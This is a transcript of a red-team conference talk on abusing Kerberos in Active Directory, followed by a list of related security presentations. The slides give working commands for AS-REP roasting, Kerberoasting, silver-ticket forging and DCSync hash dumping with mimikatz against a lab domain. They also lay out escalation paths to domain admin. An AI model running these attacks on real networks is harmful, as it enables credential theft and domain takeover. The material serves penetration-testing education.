KERBEROS PARTY TRICKS
|
|
|
- Drusilla Allen
- 5 years ago
- Views:
Transcription
1 KERBEROS PARTY TRICKS Weaponizing Kerberos Protocol Flaws Geoffrey Janjua
2 Who is Exumbra Operations Group? Security services and consulting Specialized services: Full scope red-team testing, digital and physical penetration testing, training, exploit development, and vulnerability research Who am I? Founder of Exumbra Operations Group Former DoD (USA) Technical and covert-entry specialist 12+ years of hands-on operational experience conducting offensive operations Full-time red-team/pen-tester
3 KERBEROS PARTY TRICKS Vulnerabilities are based on abuse of the Kerberos v5 protocol No exploits Should apply to earlier versions too Better than memory corruption exploits Unlikely to get fixed / hard to patch out Multi-factor is not a factor Tested against Windows Server 2008, likely will apply to other implementations too (MIT, Heimdal, Centrify, etc.) Mostly edge cases, but will discuss operational scenarios at the end All my code is PoC (read: terrible)!
4 KERBEROS PARTY TRICKS Kerberos in 60 Seconds Kerberos Party Tricks Toolkit Demos Enumerating users Recover Kerberos tickets Recover account passwords Enumerate services on the domain without sending packets Impersonate users Dump encrypted passwords from the domain controller (no shell required) How the attacks work Scenarios
5 KERBEROS IN 60 SECONDS
6 KERBEROS IN 60 SECONDS
7 KERBEROS IN 60 SECONDS
8 KERBEROS IN 60 SECONDS
9 KERBEROS IN 60 SECONDS
10 KERBEROS IN 60 SECONDS
11 KERBEROS IN 60 SECONDS
12 KERBEROS IN 60 SECONDS Service TGS-REP Username Password KDC AS-REP
13 KERBEROS PARTY TRICKS TOOLKIT Enumerate/brute force domain users Get Kerberos TGS-REP and AS-REPs interactively Parse PCAPs for Kerberos tickets Identify accounts with weak pre-auth configurations Crack account passwords Enumerate services on the domain (SPN scan)
14 DEMOS Enumerating users Recover Kerberos tickets (e.g. authentication) interactively and from packet captures Recover account passwords Portscan (SPN scan) the domain without sending packets Impersonate users Dump encrypted passwords from the domain controller
15 ENUMERATING USERS set domain ONLYFOR.HAX set dc dc.onlyfor.hax set userlist userlist.txt brute_no_pre_auth
16 HOW IT WORKS: ENUMERATING USERS Send legacy (Kerberos v4) AS-REQ Examine error flags to determine user status Bonus: Does not trigger account lockout policy
17 DEMOS Enumerating users Recover Kerberos tickets (e.g. authentication) interactively and from packet captures Recover account passwords Portscan (SPN scan) the domain without sending packets Impersonate users Dump encrypted passwords from the domain controller
18 INTERACTIVE KRB AUTH set domain ONLYFOR.HAX set dc dc.onlyfor.hax set username w net_get_as_rep
19 RECOVER KRB FROM PCAP set pcap samples/sample.krb.pcap pcap_get_tickets
20 HOW IT WORKS: RECOVER KRB AUTH Examine encrypted Kerberos authentication from packet captures or from direct interaction Un-authenticated users can request AS-REPs If account has Do Not Require Kerberos Preauthentication set DC will send an encrypted AS-REP Otherwise, users must encrypt time value to Preauthenticate before getting a ticket
21 DEMOS Enumerating users Recover Kerberos tickets (e.g. authentication) interactively and from packet captures Recover account passwords Portscan (SPN scan) the domain without sending packets Impersonate users Dump encrypted passwords from the domain controller
22 RECOVER ACCOUNT PASSWORDS set domain ONLYFOR.HAX set dc dc.onlyfor.hax set userlist userlist.txt brute_no_pre_auth Crack the Tickets crack_as_rep_manual 0 crack_tgs_rep_manual 8 crack_as_rep crack_tgs_rep crack_tickets set wordlist wordlist.txt
23 HOW IT WORKS: RECOVER ACCOUNT PASSWORDS Authenticated users can request TGS-REPs (Service tickets) Un-authenticated users can request AS-REPs If account has Do Not Require Kerberos Preauthentication set DC will send an encrypted AS-REP. Otherwise, users must encrypt time value to Preauthenticate before getting a ticket Tickets are encrypted using the accounts password Considered a shared secret. Only KDC and account holder should know it. Attempt to decrypt the tickets with a guessed password
24 DEMOS Enumerating users Recover Kerberos tickets (e.g. authentication) interactively and from packet captures Recover account passwords Portscan (SPN scan) the domain without sending packets Impersonate users Dump encrypted passwords from the domain controller
25 SPN SCAN set username w set password wp@$$w0rd1 set domain ONLYFOR.HAX set dc dc.onlyfor.hax scan_spn
26 SCAN FOR DO NOT USE KERBEROS PRE-AUTHENTICATION set username w set password wp@$$w0rd1 set domain ONLYFOR.HAX set dc dc.onlyfor.hax scan_ldap_no_pre_auth
27 SPN SCAN: LINUX ldapsearch -h dc.onlyfor.hax -D -W -b dc=onlyfor, dc=hax serviceprincipalname=* serviceprincipalname dn cn sn userprincipalname
28 SPN SCAN: WINDOWS runas /netonly /user: cmd.exe setspn -T ONLYFOR.HAX -Q *.*
29 ldp.exe LayerOne 2016 SPN SCAN: WINDOWS ALTERNATE Bind user=user, Search DC=onlyfor, DC=hax Filter filter=(serviceprincipalname=*) Scope Subtree Attributes attributes=*
30 HOW IT WORKS: PORTSCAN THE DOMAIN Active Directory uses Service Principal Names (SPNs) to register accounts with services SPN = Service Type/host.domain.com:port MSSQLSvc/domainw7.onlyfor.hax:1433 Allows Single Sign On (SSO) for domain services When user wants to connect to service X they request a ticket from the Key Distribution Center (KDC), typically the Domain Controller We can use LDAP to lookup all of the SPNs in a domain and determine Username of the service Type of service Host it is running on Port to access the service
31 DEMOS Enumerating users Recover Kerberos tickets (e.g. authentication) interactively and from packet captures Recover account passwords Portscan (SPN scan) the domain without sending packets Impersonate users Dump encrypted passwords from the domain controller
32 IMPERSONATE USERS Crack the service account password Create a new TGT using the service account password and a forged PAC, i.e. make a silver ticket
33 CRACK THE SERVICE ACCOUNT PASSWORD set username w set password wp@$$w0rd1 set domain ONLYFOR.HAX set dc dc.onlyfor.hax set target_service MSSQLSvc/DomainW7.onlyfor.hax:1433 net_get_tgs_rep set wordlist wordlist.txt crack_tickets
34 FORGE A TGT (SILVER TICKET) runas /netonly sqlsa@onlyfor.hax cmd.exe mimikatz kerberos::golden /sid:s /domain:onlyfor.hax /ptt /id:1113 /target:domainw7.onlyfor.hax /service:mssqlsvc /rc4:99d0f1cf2c3a3a46d7bc5db23c9bfe54 /user:sqlsa@onlyfor.hax
35 CONNECT sqlcmd.exe -S domainw7.onlyfor.hax select SYSTEM_USER; go
36 HOW IT WORKS: IMPERSONATE USERS Authenticated users can request TGS-REPs (Service tickets) Even for services they do not have authorization to use Tickets are encrypted using the accounts password Considered a shared secret. Only KDC and service should know it.
37 HOW IT WORKS: IMPERSONATE USERS Two parts to a ticket Ticket Granting Ticket (TGT) Encrypted with services password Privilege Attribute Certificate (PAC) Embedded in ticket Users information (username, groups, SID, etc.) Created by KDC
38 HOW IT WORKS: IMPERSONATE USERS Since we know the password for the service Can create new TGT with any PAC we want Service accepts as genuine because it is signed with its own key Services could attempt to validate PACs with KDC, BUT Would need to connect to KDC for every connection creates performance issues
39 DEMOS Enumerating users Recover Kerberos tickets (e.g. authentication) interactively and from packet captures Recover account passwords Portscan (SPN scan) the domain without sending packets Impersonate users Dump encrypted passwords from the domain controller
40 DUMP HASHES FROM DC mimikatz lsadump::dcsync /user:krbtgt /domain:onlyfor.hax or lsadump::dcsync /user:administrator / domain:onlyfor.hax
41 HOW IT WORKS: DUMP DC Exploits Active Directory Replication Services Impersonates a domain controller and asks to synchronize password databases via RPC
42 ATTACK SCENARIOS
43 No Auth LayerOne 2016 OUTSIDER DOMAIN ADMINISTRATOR Identify users with Do Not Require Kerberos Preauthentication Some legacy software require it (VmWare ESX 3.0 & 3.5, Older Cisco ASAs, OpenFire, IBM WebSphere with SAS9, etc.) Crack passwords for those accounts Domain Auth Find service accounts (SPNs) Request and crack service account tickets Impersonate privileged user to service Recover additional local credentials or domain credentials Privileged Domain Auth Dump passwords from DC
44 UNPRIV USER DOMAIN ADMIN Find service accounts (SPNs) Request and crack service account tickets Impersonate privileged user to service Recover additional local credentials or domain credentials Dump passwords from DC
45 NON-DOMAIN COMPROMISE DOMAIN ADMIN Network capture on non-domain system Recover domain AS-REPs & TGS-REPs from PCAPs Crack passwords for those accounts Find service accounts (SPNs) Request and crack service account tickets Impersonate privileged user to service Recover additional local credentials or domain credentials Dump passwords from DC
46 THANKS TO: Tim Medin (Kerberoast) Benjamin Delphy (mimikatz) Sylvain Monné (pykek) Sean Metcalf (Adsecurity.org) Alberto Solino (impacket) Google.com (everything else)
47 GREAT TALKS ABOUT KERBEROS DerbyCon Break Me 03 Red vs Blue Modern Active Directory Attacks Defense - Sean Metcalf Black Hat USA Windows: Abusing Microsoft Kerberos Sorry You Guys Don't Get It MIT 6.858: Computer Systems Security Lecture by Nickolai Zeldovich
48 TOOLKIT AND SLIDES Kerberos party tricks toolkit & slides -
49 THANK YOU FOR COMING! QUESTIONS?
50
Active Directory Attacks and Detection
Active Directory Attacks and Detection #Whoami Working as an Information Security Executive Blog : www.akijosberryblog.wordpress.com You can follow me on Twitter: @AkiJos This talk is Based on Tim Madin
Active Directory Attacks and Detection Part -II
Active Directory Attacks and Detection Part -II #Whoami Working as an Information Security Executive Blog : www.akijosberryblog.wordpress.com You can follow me on Twitter: @AkiJos Key Takeaways How to
Active Directory Attacks and Detection
Active Directory Attacks and Detection #Whoami Working as an Information Security Executive Blog : www.akijosberryblog.wordpress.com You can follow me on Twitter: @AkiJos Lab Setup AJLAB.COM: 2 Domain
7 EASY ATTACKS AGAINST ACTIVE DIRECTORY
NEW TITLE: 7 EASY ATTACKS AGAINST ACTIVE DIRECTORY And How to Prevent Them Through Good Practices and a Little Group Policy ABOUT ME Kevin McBride Security Specialist at Meridian Credit Union 12 years
Computers Gone Rogue. Abusing Computer Accounts to Gain Control in an Active Directory Environment. Marina Simakov & Itai Grady
Computers Gone Rogue Abusing Computer Accounts to Gain Control in an Active Directory Environment Marina Simakov & Itai Grady Motivation Credentials are a high value target for attackers No need for 0-day
10 Active Directory Misconfigurations That Lead to Total Compromise Austin, TX 201 W 5th St.
10 Active Directory Misconfigurations That Lead to Total Compromise hello@javelin-networks.com +1-888-867-5179 Austin, TX 201 W 5th St. 1. Group Policy Preferences Visible Passwords Group Policy Preferences
Active Directory Attacks and Detection Part -III
Active Directory Attacks and Detection Part -III #Whoami Working as an Information Security Executive Blog : www.akijosberryblog.wordpress.com You can follow me on Twitter: @AkiJos Key Takeaways Abusing
How to Integrate an External Authentication Server
How to Integrate an External Authentication Server Required Product Model and Version This article applies to the Barracuda Load Balancer ADC 540 and above, version 5.1 and above, and to all Barracuda
Network Security: Kerberos. Tuomas Aura
Network Security: Kerberos Tuomas Aura Kerberos authentication Outline Kerberos in Windows domains 2 Kerberos authentication 3 Kerberos Shared-key protocol for user login authentication Uses passwords
Active Directory Security: The Journey. Sean Metcalf s e a n TrimarcSecurity.com TrimarcSecurity.
Active Directory Security: The Journey Sean Metcalf (@Pyrotek3) s e a n [@] TrimarcSecurity.com www.adsecurity.org TrimarcSecurity.com ABOUT Founder Trimarc (Trimarc.io), a professional services company
Security and Privacy in Computer Systems. Lecture 7 The Kerberos authentication system. Security policy, security models, trust Access control models
CS 645 Security and Privacy in Computer Systems Lecture 7 The Kerberos authentication system Last Week Security policy, security models, trust Access control models The Bell-La Padula (BLP) model The Biba
The Kerberos Authentication Service
The Kerberos Authentication Service By: Cule Stevan ID#: 0047307 SFWR 4C03 April 4, 2005 Last Revision: April 5, 2005 Stevan Cule 0047307 SOFTWARE ENGINEERING 4C03 WINTER 2005 The Kerberos Authentication
Protocols II. Computer Security Lecture 12. David Aspinall. 17th February School of Informatics University of Edinburgh
Protocols II Computer Security Lecture 12 David Aspinall School of Informatics University of Edinburgh 17th February 2011 Outline Introduction Shared-key Authentication Asymmetric authentication protocols
Kerberos Constrained Delegation Authentication for SEG V2. VMware Workspace ONE UEM 1810
Kerberos Constrained Delegation Authentication for SEG V2 VMware Workspace ONE UEM 1810 You can find the most up-to-date technical documentation on the VMware website at: https://docs.vmware.com/ If you
Security Handshake Pitfalls
Security Handshake Pitfalls 1 Authentication Handshakes Secure communication almost always includes an initial authentication handshake: Authenticate each other Establish sessions keys This process may
Hacking in the Attack Kill Chain
Hacking in the Attack Kill Chain Håkan Nohre, Consulting Systems Engineer, GIAC GPEN #9666, CISSP #76731 Erkan Djafer, Consulting Systems Engineer, CISSP #535930 Chung-wai Lee, Cyber Security Partner Account
Kerberos. Pehr Söderman Natsak08/DD2495 CSC KTH 2008
Kerberos Pehr Söderman Pehrs@kth.se Natsak08/DD2495 CSC KTH 2008 Project Athena Started 1983 at MIT 10 000 workstations 1000 servers Unified enviroment Any user, any workstation, any server, anywhere...
FreeIPA Cross Forest Trusts
Alexander Bokovoy Andreas Schneider May 10th, 2012 1 FreeIPA What is FreeIPA? Cross Forest Trusts 2 Samba 3 Demo Talloc Tutorial Pavel Březina wrote Talloc tutorial! http://talloc.samba.org/
Kerberos and Public-Key Infrastructure. Key Points. Trust model. Goal of Kerberos
Kerberos and Public-Key Infrastructure Key Points Kerberos is an authentication service designed for use in a distributed environment. Kerberos makes use of a thrusted third-part authentication service
Joe Stocker, CISSP, MCITP, VTSP Patriot Consulting
Joe Stocker, CISSP, MCITP, VTSP Patriot Consulting Microsoft Cloud Evangelist at Patriot Consulting Principal Systems Architect with 17 Years of experience Technical certifications: MCSE, MCITP Office
Pentesting Windows Domains
Pentesting Windows Domains Active Directory security model and weaknesses 2017-01-09 Jean MARSAULT AGENDA / 01 Introduction / 02 The Active Directory model & Windows domains / 03 Pentesting Windows domains
CSCI 667: Concepts of Computer Security. Lecture 9. Prof. Adwait Nadkarni
CSCI 667: Concepts of Computer Security Lecture 9 Prof. Adwait Nadkarni 1 Derived from slides by William Enck, Micah Sherr, Patrick McDaniel, Peng Ning, and Vitaly Shmatikov Authentication Alice? Bob?
Attacking and Defending Active Directory July, 2017
Attacking and Defending Active Directory July, 2017 About: Adam Steed - @aboy 20 years of experience in IAM, working for financial, websites, and healthcare organizations Associate Director Protiviti Security
Kerberos and Active Directory symmetric cryptography in practice COSC412
Kerberos and Active Directory symmetric cryptography in practice COSC412 Learning objectives Understand the function of Kerberos Explain how symmetric cryptography supports the operation of Kerberos Summarise
Radius, LDAP, Radius used in Authenticating Users
CSCD 303 Lecture 5 Fall 2017 Kerberos Radius, LDAP, Radius used in Authenticating Users Introduction to Centralized Authentication Kerberos is for authentication only and provides Single Sign-on (SSO)
Radius, LDAP, Radius, Kerberos used in Authenticating Users
CSCD 303 Lecture 5 Fall 2018 Radius, LDAP, Radius, Kerberos used in Authenticating Users Kerberos Authentication and Authorization Previously Said that identification, authentication and authorization
Kerberos Constrained Delegation Authentication for SEG V2. VMware Workspace ONE UEM 1811
Kerberos Constrained Delegation Authentication for SEG V2 VMware Workspace ONE UEM 1811 You can find the most up-to-date technical documentation on the VMware website at: https://docs.vmware.com/ If you
Pass-the-Hash Attacks
Pass-the-Hash Attacks Mgr. Michael Grafnetter www.dsinternals.com Agenda PtH Attack Anatomy Mitigation Proactive Reactive Windows 10 + Windows Server 2016 Microsoft Advanced Threat Analytics PtH Attack
CPSC 467b: Cryptography and Computer Security
CPSC 467b: Cryptography and Computer Security Michael J. Fischer Lecture 24 April 16, 2012 CPSC 467b, Lecture 24 1/33 Kerberos Secure Shell (SSH) Transport Layer Security (TLS) Digital Rights Management
Acknowledgments. CSE565: Computer Security Lectures 16 & 17 Authentication & Applications
CSE565: Computer Security Lectures 16 & 17 Authentication & Applications Shambhu Upadhyaya Computer Science & Eng. University at Buffalo Buffalo, New York 14260 Lec 16.1 Acknowledgments Material for some
The return of the vampires
The return of the vampires Günther Deschner (Red Hat / Samba Team) Windows replication protocols Windows NT 4 Single Master replication Per Domain: One primary (PDC) and many Backup Domain
KEY DISTRIBUTION AND USER AUTHENTICATION
KEY DISTRIBUTION AND USER AUTHENTICATION Key Management and Distribution No Singhalese, whether man or woman, would venture out of the house without a bunch of keys in his hand, for without such a talisman
From Public Key to Exploitation: Exploiting the Authentication in MS-RDP [CVE ]
![From Public Key to Exploitation: Exploiting the Authentication in MS-RDP [CVE ]](/thumbs/78/78528823.jpg "From Public Key to Exploitation: Exploiting the Authentication in MS-RDP [CVE ]")
From Public Key to Exploitation: Exploiting the Authentication in MS-RDP [CVE-2018-0886] Eyal Karni, Preempt Research Team Contents 1. Introduction...3 2. Vulnerability...4 2.1 Issue #1...4 2.2 Toward
MQ Jumping... Or, move to the front of the queue, pass go and collect 200
MQ Jumping.... Or, move to the front of the queue, pass go and collect 200 Martyn Ruks DEFCON 15 2007-08-03 One Year Ago Last year I talked about IBM Networking attacks and said I was going to continue
Workspace ONE UEM Certificate Authentication for EAS with ADCS. VMware Workspace ONE UEM 1902
Workspace ONE UEM Certificate Authentication for EAS with ADCS VMware Workspace ONE UEM 1902 You can find the most up-to-date technical documentation on the VMware website at: https://docs.vmware.com/
[ Sean TrimarcSecurity.com ]
![[ Sean TrimarcSecurity.com ]](/thumbs/89/100354259.jpg "[ Sean TrimarcSecurity.com ]")
Securing the Microsoft Cloud (Office 365 & Azure AD) Sean Metcalf Founder, Trimarc Presenter bio Sean Metcalf Founder & CTO, Trimarc One of ~100 people globally who holds the Microsoft Certified Master
Active Directory: What can make your million dollar SIEM go blind?
Active Directory: What can make your million dollar SIEM go blind? Whoarewe Vincent LE TOUX Main Speaker @mysmartlogon Security researcher CEO of «My Smart Logon» (smart card & windows authentication)
SANS Hackfest. Secret Pentesting Techniques Part 2. Dave Kennedy Founder, @HackingDave
SANS Hackfest Secret Pentesting Techniques Part 2 Dave Kennedy Founder, CEO Twitter: @TrustedSec, @Binary_Defense @HackingDave David&Kennedy s&background& Founder of TrustedSec. Co-Founder and CTO Binary
From Workstation to Domain. Sean Metcalf s e a n TrimarcSecurity.com TrimarcSecurity.com
From Workstation to Domain Admin Sean Metcalf (@Pyrotek3) s e a n [@] TrimarcSecurity.com www.adsecurity.org TrimarcSecurity.com ABOUT Founder Trimarc (Trimarc.io), a professional services company that
User Authentication. Modified By: Dr. Ramzi Saifan
User Authentication Modified By: Dr. Ramzi Saifan Authentication Verifying the identity of another entity Computer authenticating to another computer Person authenticating to a local/remote computer Important
Cross-realm trusts with FreeIPA v3
Cross-realm trusts with FreeIPA v3 Alexander Bokovoy, Andreas Scheider Alexander Bokovoy about:me Member of Samba Team since 2003 Principal Software Engineer, Red Hat FreeIPA project Andreas Schneider
Single Sign-On Showdown
Single Sign-On Showdown ADFS vs Pass-Through Authentication Max Fritz Solutions Architect SADA Systems #ITDEVCONNECTIONS Azure AD Identity Sync & Auth Timeline 2009 2012 DirSync becomes Azure AD Sync 2013
CompTIA. PT0-001 EXAM CompTIA PenTest+ Certification Exam Product: Demo. m/
Page No 1 https://www.dumpsplanet.com m/ CompTIA PT0-001 EXAM CompTIA PenTest+ Certification Exam Product: Demo For More Information: PT0-001-dumps Page No 2 Question: 1 During a penetration test, a tester
Factotum Sep. 24, 2007
15-412 Factotum Sep. 24, 2007 Dave Eckhardt 1 Factotum Left Out (of P9/9P Lecture) The whole authentication thing There is an auth server much like a Kerberos KDC There is an authentication file system
COPYRIGHTED MATERIAL. Contents. Part I: The Basics in Depth 1. Chapter 1: Windows Attacks 3. Chapter 2: Conventional and Unconventional Defenses 51
Acknowledgments Introduction Part I: The Basics in Depth 1 Chapter 1: Windows Attacks 3 Attack Classes 3 Automated versus Dedicated Attacker 4 Remote versus Local 7 Types of Attacks 8 Dedicated Manual
Event Log 101. What is Event Log? Windows version of syslog.
Event Log Analysis Event Log 101 What is Event Log? Windows version of syslog. Where are these artifacts located in? %SystemRoot%\System32\winevt\Logs %SystemRoot% is C:\Windows typically. 2 Event Log
Premediation. The Art of Proactive Remediation. Matthew McWhirt, Senior Manager Manfred Erjak, Principal Consultant OCTOBER 1 4, 2018 WASHINGTON, D.C.
Premediation The Art of Proactive Remediation Matthew McWhirt, Senior Manager Manfred Erjak, Principal Consultant OCTOBER 1 4, 2018 WASHINGTON, D.C. Overview Case Study Remediation Overview Premediation
Network Security (NetSec)
Chair of Network Architectures and Services Department of Informatics Technical University of Munich Network Security (NetSec) IN2101 WS 17/18 Prof. Dr.-Ing. Georg Carle Dr. Heiko Niedermayer Cornelius
Authentication Handshakes
AIT 682: Network and Systems Security Topic 6.2 Authentication Protocols Instructor: Dr. Kun Sun Authentication Handshakes Secure communication almost always includes an initial authentication handshake.
Cryptography and Network Security
Cryptography and Network Security Third Edition by William Stallings Lecture slides by Lawrie Brown Chapter 14 Authentication Applications We cannot enter into alliance with neighbouring princes until
FIREWALLS & NETWORK SECURITY with Intrusion Detection and VPNs, 2 nd ed. Chapter 10 Authenticating Users
FIREWALLS & NETWORK SECURITY with Intrusion Detection and VPNs, 2 nd ed. Chapter 10 Authenticating Users Learning Objectives Explain why authentication is a critical aspect of network security Explain
CSC 474/574 Information Systems Security
CSC 474/574 Information Systems Security Topic 3.3: Security Handshake Pitfalls CSC 474/574 Dr. Peng Ning 1 Authentication Handshakes Secure communication almost always includes an initial authentication
RastaLabs Red Team Simulation Lab
RastaLabs Red Team Simulation Lab LAB OUTLINE Description RastaLabs is a virtual Red Team Simulation environment, designed to be attacked as a means of learning and honing your engagement skills. The focus
Fall 2010/Lecture 32 1
CS 426 (Fall 2010) Key Distribution & Agreement Fall 2010/Lecture 32 1 Outline Key agreement without t using public keys Distribution of public keys, with public key certificates Diffie-Hellman Protocol
Network Security. Kerberos and other Frameworks for Client Authentication. Dr. Heiko Niedermayer Cornelius Diekmann. Technische Universität München
Network Security Kerberos and other Frameworks for Client Authentication Dr. Heiko Niedermayer Cornelius Diekmann Lehrstuhl für Netzarchitekturen und Netzdienste Institut für Informatik Version: January
Data Source Kerberos / oauth On the Wire Explaining Kerberos Constrained Delegation with Protocol Transition and Oauth for Data Source Single Sign On
Welcome 1 8 B I - 11 3 Data Source Kerberos / oauth On the Wire Explaining Kerberos Constrained Delegation with Protocol Transition and Oauth for Data Source Single Sign On John Kew Manager / Connectivity
CIS 6930/4930 Computer and Network Security. Topic 7. Trusted Intermediaries
CIS 6930/4930 Computer and Network Security Topic 7. Trusted Intermediaries 1 Trusted Intermediaries Problem: authentication for large networks Solution #1 Key Distribution Center (KDC) Representative
MASSACHUSETTS INSTITUTE OF TECHNOLOGY Fall Quiz II
Department of Electrical Engineering and Computer Science MASSACHUSETTS INSTITUTE OF TECHNOLOGY 6.893 Fall 2009 Quiz II All problems are open-ended questions. In order to receive credit you must answer
Identity Management In Red Hat Enterprise Linux. Dave Sirrine Solutions Architect
Identity Management In Red Hat Enterprise Linux Dave Sirrine Solutions Architect Agenda Goals of the Presentation 2 Identity Management problem space What Red Hat Identity Management solution is about?
Securing Active Directory Administration. Sean Metcalf s e a n TrimarcSecurity.com TrimarcSecurity.
Securing Active Directory Administration Sean Metcalf (@Pyrotek3) s e a n [@] TrimarcSecurity.com www.adsecurity.org TrimarcSecurity.com ABOUT Founder Trimarc (Trimarc.io), a professional services company
Persistent key, value storage
Persistent key, value storage In programs, often use hash tables - E.g., Buckets are an array of pointers, collision chaining For persistant data, minimize # disk accesses - Traversing linked lists is
Windows Authentication With Multiple Domains and Forests
Windows Authentication With Multiple Domains and Forests Stefan Metzmacher Samba Team / SerNet 2017-09-13 Check for updates: https://samba.org/~metze/presentations/2017/sdc/ Update from
Post-Exploitation with WCE v1.2
Post-Exploitation with WCE v1.2 Pass-the-Hash. Pass-the-ticket & more Date: 01-07-2011 Author: Hernan Ochoa Windows Authentication h1 = LMHash( pwd1 ) h2 = NTHash( pwd1 ) SAM
10 Ways Credit Unions Get PWNED
10 Ways Credit Unions Get PWNED NASCUS 2017 Investment advisory services are offered through CliftonLarsonAllen Wealth Advisors, LLC, an SEC-registered investment advisor. Intro I am going to share with
Nicolas Williams Staff Engineer Sun Microsystems, Inc.
Deploying Secure NFS Nicolas Williams Staff Engineer Sun Microsystems, Inc. nicolas.williams@sun.com Page 1 of Secure NFS Background A Brief History Protocol In the beginning, no security AUTH_SYS, AUTH_NONE
Useful Hacking Series
Useful Hacking Series Welcome to the Useful Hacking Series, in this series of 20 Episodes our world-renowned penetration tester/international speaker will share with you the top useful tips used during
Security and Authentication
Security and Authentication Authentication and Security A major problem with computer communication Trust Who is sending you those bits What they allow to do in your system 2 Authentication In distributed
The of Passw0rds: Notes from the field
The L@m3ne55 of Passw0rds: Notes from the field Ben Williams Senior Security Consultant Previously Presented at various conferences including BlackHat and other smaller conferences in Europe Exploitable
Access Controls. CISSP Guide to Security Essentials Chapter 2
Access Controls CISSP Guide to Security Essentials Chapter 2 Objectives Identification and Authentication Centralized Access Control Decentralized Access Control Access Control Attacks Testing Access Controls
Linux Local Security about Passwords and Data NZPAPER.BLOGSPOT.COM. Nz Paper Linux and Web Application Security. Zeeshan Khan 4/15/2013
1 Linux Local Security about Passwords and Data NZPAPER.BLOGSPOT.COM Nz Paper Linux and Web Application Security Zeeshan Khan 4/15/2013 2 Abstract: As Passwords and other Linux Data play an important role
The Important Details Of Windows Authentication
The Important Details Of Stefan Metzmacher Samba Team / SerNet 2017-05-04 https://samba.org/~metze/presentations/2017/sambaxp/ (2/1) Topics Windows Domains, Forests and Trusts Netlogon
A Taste of SANS SEC 560: Adventures in High-Value Pen Testing
All Rights Reserved 1 Network Penetration Testing and Ethical Hacking A Taste of SANS SEC 560: Adventures in High-Value Pen Testing SANS Security 560 Copyright 2015, All Rights Reserved Version 2Q15 All
Key distribution and certification
Key distribution and certification In the case of public key encryption model the authenticity of the public key of each partner in the communication must be ensured. Problem solution: Certification Authority
13/10/2013. Kerberos. Key distribution and certification. The Kerberos protocol was developed at MIT in the 1980.
Key distribution and certification Kerberos In the case of public key encryption model the authenticity of the public key of each partner in the communication must be ensured. Problem solution: Certification
review of the potential methods
Mandatory iscsi Security review of the potential methods IPS Interim Meeting Nashua NH, May 01 2001 Ofer Biran Thanks to: IBM Research Lab in Haifa Bernard Aboba, David Black, Julian Satran, Steve Senum
Active Directory Security: The Journey. Sean Metcalf s e a n TrimarcSecurity.com TrimarcSecurity.
Active Directory Security: The Journey Sean Metcalf (@Pyrotek3) s e a n [@] TrimarcSecurity.com www.adsecurity.org TrimarcSecurity.com ABOUT Founder Trimarc, a security company. Microsoft Certified Master
CIS 6930/4930 Computer and Network Security. Topic 6.2 Authentication Protocols
CIS 6930/4930 Computer and Network Security Topic 6.2 Authentication Protocols 1 Authentication Handshakes Secure communication almost always includes an initial authentication handshake. Authenticate
PSUMAC101: Intro to Auth
PSUMAC101: Intro to Auth We Are... Jeremy Hill Systems Design Specialist, Applied Information Technology Ryan Coleman Systems Administrator, Applied Information Technology Overview Why, What and When of
Active directory : How to change a weak point into a leverage for security monitoring Vincent LE TOUX ENGIE France OSSIR 2017 Paris (France) April,
Active directory : How to change a weak point into a leverage for security monitoring Vincent LE TOUX ENGIE France OSSIR 2017 Paris (France) April, 11th 2017 CONTENTS Chapter 1 Why focusing on Active Directory?
Information Security CS 526
Information Security CS 526 Topic 14: Key Distribution & Agreement, Secure Communication Topic 14: Secure Communication 1 Readings for This Lecture On Wikipedia Needham-Schroeder protocol (only the symmetric
Florence Blanc-Renaud Senior Software Engineer - Identity Management - Red Hat
TOO BAD... YOUR PASSWORD HAS JUST BEEN STOLEN! DID YOU CONSIDER USING 2FA? Florence Blanc-Renaud (flo@redhat.com) Senior Software Engineer - Identity Management - Red Hat A GOOD PASSWORD: SECURITY THROUGH
Data Security and Privacy. Topic 14: Authentication and Key Establishment
Data Security and Privacy Topic 14: Authentication and Key Establishment 1 Announcements Mid-term Exam Tuesday March 6, during class 2 Need for Key Establishment Encrypt K (M) C = Encrypt K (M) M = Decrypt
Authentication in real world: Kerberos, SSH and SSL. Zheng Ma Apr 19, 2005
Authentication in real world: Kerberos, SSH and SSL Zheng Ma Apr 19, 2005 Where are we? After learning all the foundation of modern cryptography, we are ready to see some real world applications based
This chapter examines some of the authentication functions that have been developed to support network-based use authentication.
1 This chapter examines some of the authentication functions that have been developed to support network-based use authentication. In most computer security contexts, user authentication is the fundamental
Chapter 9: Key Management
Chapter 9: Key Management Session and Interchange Keys Key Exchange Cryptographic Key Infrastructure Storing and Revoking Keys Digital Signatures Slide #9-1 Overview Key exchange Session vs. interchange
keepalive (isakmp profile)
keepalive (isakmp profile) keepalive (isakmp profile) To allow the gateway to send dead peer detection (DPD) messages to the peer, use the keepalive command in Internet Security Association Key Management
Hacking Our Way to Better Security: Lessons from a Web Application Penetration Test. Tyler Rasmussen Mercer Engineer Research Center
Hacking Our Way to Better Security: Lessons from a Web Application Penetration Test Tyler Rasmussen Mercer Engineer Research Center About Me Cybersecurity Engineering Intern @ MERC Senior IT/Cybersecurity
"When you have crossed the river and have advanced a little further, some aged women weaving at the loom will beg you to lend a hand for a short
KERBEROS: the fierce watchdog of Haides, depicted as a three headed dog with a serpent's tail, a mane of snakes, and a lion's claws. "And before them a dreaded hound, on watch, who has no pity, but a vile
Securing ArcGIS Services
Federal GIS Conference 2014 February 10 11, 2014 Washington DC Securing ArcGIS Services James Cardona Agenda Security in the context of ArcGIS for Server Background concepts Access Securing web services
Single Sign-on Implementation Best Practices
Single Sign-on Implementation Best Practices Thomas Barlen Senior Managing Consultant barlen@de.ibm.com Agenda Implementation challenges Best practices setup Ongoing administration 2 Single Sign-On with
Kerberos V5. Raj Jain. Washington University in St. Louis
Kerberos V5 Raj Jain Washington University in Saint Louis Saint Louis, MO 63130 Jain@cse.wustl.edu Audio/Video recordings of this lecture are available at: http://www.cse.wustl.edu/~jain/cse571-07/ 11-1
Sobering statistics. The frequency and sophistication of cybersecurity attacks are getting worse.
Sobering statistics The frequency and sophistication of cybersecurity attacks are getting worse. 146 >63% $500B $3.8M The median # of days that attackers reside within a victim s network before detection
Chapter 19 Security. Chapter 19 Security
Chapter 19 Security Outline 19.1 Introduction 19.2 Cryptography 19.2.1 Secret-Key Cryptography 19.2.2 Public-Key Cryptography 19.3 Authentication 19.3.1 Basic Authentication 19.3.2 Biometrics and Smart
Modern Realities of Securing Active Directory & the Need for AI
Modern Realities of Securing Active Directory & the Need for AI Our Mission: Hacking Anything to Secure Everything 7 Feb 2019 Presenters: Dustin Heywood (EvilMog), Senior Managing Consultant, X-Force Red
